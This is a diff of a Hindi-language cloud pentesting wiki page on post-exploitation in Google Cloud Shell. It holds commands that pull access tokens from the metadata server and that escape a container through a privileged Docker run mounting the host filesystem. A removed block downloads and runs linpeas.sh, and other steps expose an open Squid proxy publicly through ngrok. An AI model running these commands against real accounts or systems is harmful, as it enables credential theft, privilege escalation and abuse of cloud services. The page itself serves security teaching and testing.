diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md index d0e42083b..2c44f2981 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md @@ -10,40 +10,40 @@ Cloud Shell के बारे में अधिक जानकारी क ../gcp-services/gcp-cloud-shell-enum.md {{#endref}} -### Container Escape +### metadata से users token प्राप्त करना -ध्यान दें कि Google Cloud Shell एक container के अंदर चलता है; आप नीचे दिए गए कमांड करके **easily escape to the host** कर सकते हैं: +केवल metadata server तक पहुँचकर आप वर्तमान में logged on user के रूप में access करने के लिए एक token प्राप्त कर सकते हैं: +```bash +wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" +``` +### Container Escape / Docker use + +> [!WARNING] +> पहले cloud shell एक container में चलता था जिसमें host के docker socket तक पहुंच थी। अब Google ने आर्किटेक्चर बदल दिया है और cloud shell container अब "Docker in a container" सेटअप में चलता है। इसलिए भले ही cloud shell से docker का उपयोग संभव हो, आप docker socket का उपयोग करके host पर escape नहीं कर पाएंगे। +> ध्यान दें कि पहले `docker.sock` फ़ाइल `/google/host/var/run/docker.sock` में स्थित थी लेकिन अब इसे `/run/docker.sock` में स्थानांतरित कर दिया गया है।
-Container escape commands +Docker use / Old container escape commands ```bash -sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest -sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest -sudo docker -H unix:///google/host/var/run/docker.sock start escaper -sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh +sudo docker -H unix:///run/docker.sock pull alpine:latest +sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest +sudo docker -H unix:///run/docker.sock start escaper +sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```
-यह google द्वारा एक vulnerability माना नहीं जाता, लेकिन यह आपको उस env में क्या हो रहा है का एक व्यापक दृष्टिकोण देता है। - -इसके अलावा, ध्यान दें कि host से आप एक service account token पा सकते हैं: +इसके अलावा, पहले metadata server में cloud shell VM द्वारा उपयोग किए गए एक service account का token खोजा जा सकता था:
-Get service account from metadata +Metadata से पुराना service account ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` -
- निम्नलिखित scopes के साथ: - -
- -सर्विस अकाउंट के scopes प्राप्त करें ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes" @@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write ```
-LinPEAS के साथ metadata enumerate करें: -
- -LinPEAS के साथ metadata enumerate करें -```bash -cd /tmp -wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -sh linpeas.sh -o cloud -``` -
- -Service Account के token के साथ [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) का उपयोग करने के बाद **कोई permission नहीं मिला**... ### इसे Proxy के रूप में उपयोग करें -यदि आप अपने google cloud shell instance को proxy के रूप में उपयोग करना चाहते हैं तो आपको निम्नलिखित commands चलाने होंगे (या इन्हें .bashrc फ़ाइल में डालना होगा): +यदि आप अपने google cloud shell instance को Proxy के रूप में उपयोग करना चाहते हैं, तो आपको निम्नलिखित कमांड चलानी होंगी (या उन्हें .bashrc file में डालना होगा):
@@ -79,11 +67,11 @@ sudo apt install -y squid ```
-जानकारी के लिए: Squid एक http proxy server है। निम्न सेटिंग्स के साथ एक **squid.conf** फ़ाइल बनाएं: +जानकारी के लिए, Squid एक http proxy server है। निम्न सेटिंग्स के साथ **squid.conf** फ़ाइल बनाएं:
-Create squid.conf file +squid.conf फ़ाइल बनाएँ ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 @@ -92,11 +80,11 @@ http_access allow all ```
-**squid.conf** फ़ाइल को **/etc/squid** में कॉपी करें +कॉपी करें **squid.conf** फ़ाइल को **/etc/squid** में
-कॉन्फ़िग को **/etc/squid** में कॉपी करें +कॉन्फ़िग को /etc/squid में कॉपी करें ```bash sudo cp squid.conf /etc/squid ``` @@ -106,13 +94,13 @@ sudo cp squid.conf /etc/squid
-Start Squid service +Squid सेवा शुरू करें ```bash sudo service squid start ```
-बाहर से proxy उपलब्ध कराने के लिए ngrok का उपयोग करें: +proxy को बाहर से उपलब्ध कराने के लिए ngrok का उपयोग करें:
@@ -122,9 +110,9 @@ sudo service squid start ```
-रन करने के बाद tcp:// url कॉपी करें। यदि आप proxy को browser से चलाना चाहते हैं, तो tcp:// भाग और port हटा दें और port को अपने browser proxy settings के port field में डालें (squid is a http proxy server). +चलाने के बाद tcp:// url कॉपी करें। यदि आप ब्राउज़र से proxy चलाना चाहते हैं तो सुझाव दिया जाता है कि tcp:// हिस्सा और port हटा दें और port को अपने ब्राउज़र की proxy settings के port field में डालें (squid is a http proxy server)। -स्टार्टअप पर बेहतर उपयोग के लिए .bashrc फ़ाइल में निम्नलिखित पंक्तियाँ होनी चाहिए: +बेहतर उपयोग के लिए स्टार्टअप पर .bashrc फ़ाइल में निम्नलिखित पंक्तियाँ होनी चाहिए:
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128 ```
-निर्देश [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) से कॉपी किए गए थे। उस पृष्ठ में अन्य अनोखे तरीके देखें जिनसे किसी भी प्रकार का सॉफ़्टवेयर (databases and even windows) Cloud Shell में चलाया जा सकता है। +निर्देश इनसे कॉपी किए गए थे: [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). उस पेज को देखें Cloud Shell में किसी भी प्रकार का सॉफ़्टवेयर चलाने (databases और even windows सहित) के अन्य पागल विचारों के लिए। {{#include ../../../banners/hacktricks-training.md}}